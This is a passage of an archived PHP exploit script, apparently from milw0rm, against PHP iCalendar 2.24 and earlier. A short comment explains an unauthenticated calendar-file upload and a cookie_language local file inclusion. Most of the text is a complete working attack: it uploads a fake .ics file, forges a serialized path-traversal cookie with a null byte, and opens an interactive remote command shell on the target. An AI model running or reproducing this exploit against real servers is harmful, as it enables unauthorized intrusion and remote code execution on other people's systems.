'.$lang['l_cal_file'].' #'.$filenumber.': '.$lang['l_action_success'].'
'; 84. } else { 85. $addupdate_msg = $addupdate_msg . ''.$lang['l_cal_file'].' #'.$filenumber.': '.$lang['l_upload_error'].'
'; 86. } 87. } 88. } restricted access to this script isn't properly realized, so an attacker might be able to upload a calendar file (with .ics extension) into /calendars directory...multiple file extensions isn't checked, but 'ics' is generally recognized as text/calendar MIME type by most servers...so this poc try to include the uploaded file using the same LFI bug found by rgod (http://retrogod.altervista.org/phpical_221_incl_xpl.html), that isn't still patched! */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); define(STDIN, fopen("php://stdin", "r")); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } print "\n+---------------------------------------------------------------------------+"; print "\n| PHP iCalendar <= 2.24 (cookie_language) LFI / File Upload Exploit by EgiX |"; print "\n+---------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /phpicalendar/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $payload .= "addupdate\r\n"; $payload .= "--o0oOo0o\r\n"; $payload .= "Content-Disposition: form-data; name=\"calfile[1]\"; filename=\"fake_cal.ics\"\r\n\r\n"; $payload .= "BEGIN:VCALENDAR\n\r\n"; $payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}admin/index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; http_send($host, $packet); $packet = "GET {$path}preferences.php?action=setcookie HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; preg_match("/Set-Cookie: (phpicalendar_[^=]*)=/", http_send($host, $packet), $cookie); $data = urlencode(serialize(array("cookie_language" => "../calendars/fake_cal.ics".chr(0)))); while(1) { print "\nphpicalendar-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}print.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$cookie[1]}={$data}\r\n"; $packet .= "Cmd: ".base64_encode($cmd)."\r\n"; $packet .= "Connection: close\r\n\r\n"; $output = http_send($host, $packet); $shell = explode("_code_", $output); preg_match("/_code_/", $output) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n"); } else break; } ?> # milw0rm.com [2008-09-21]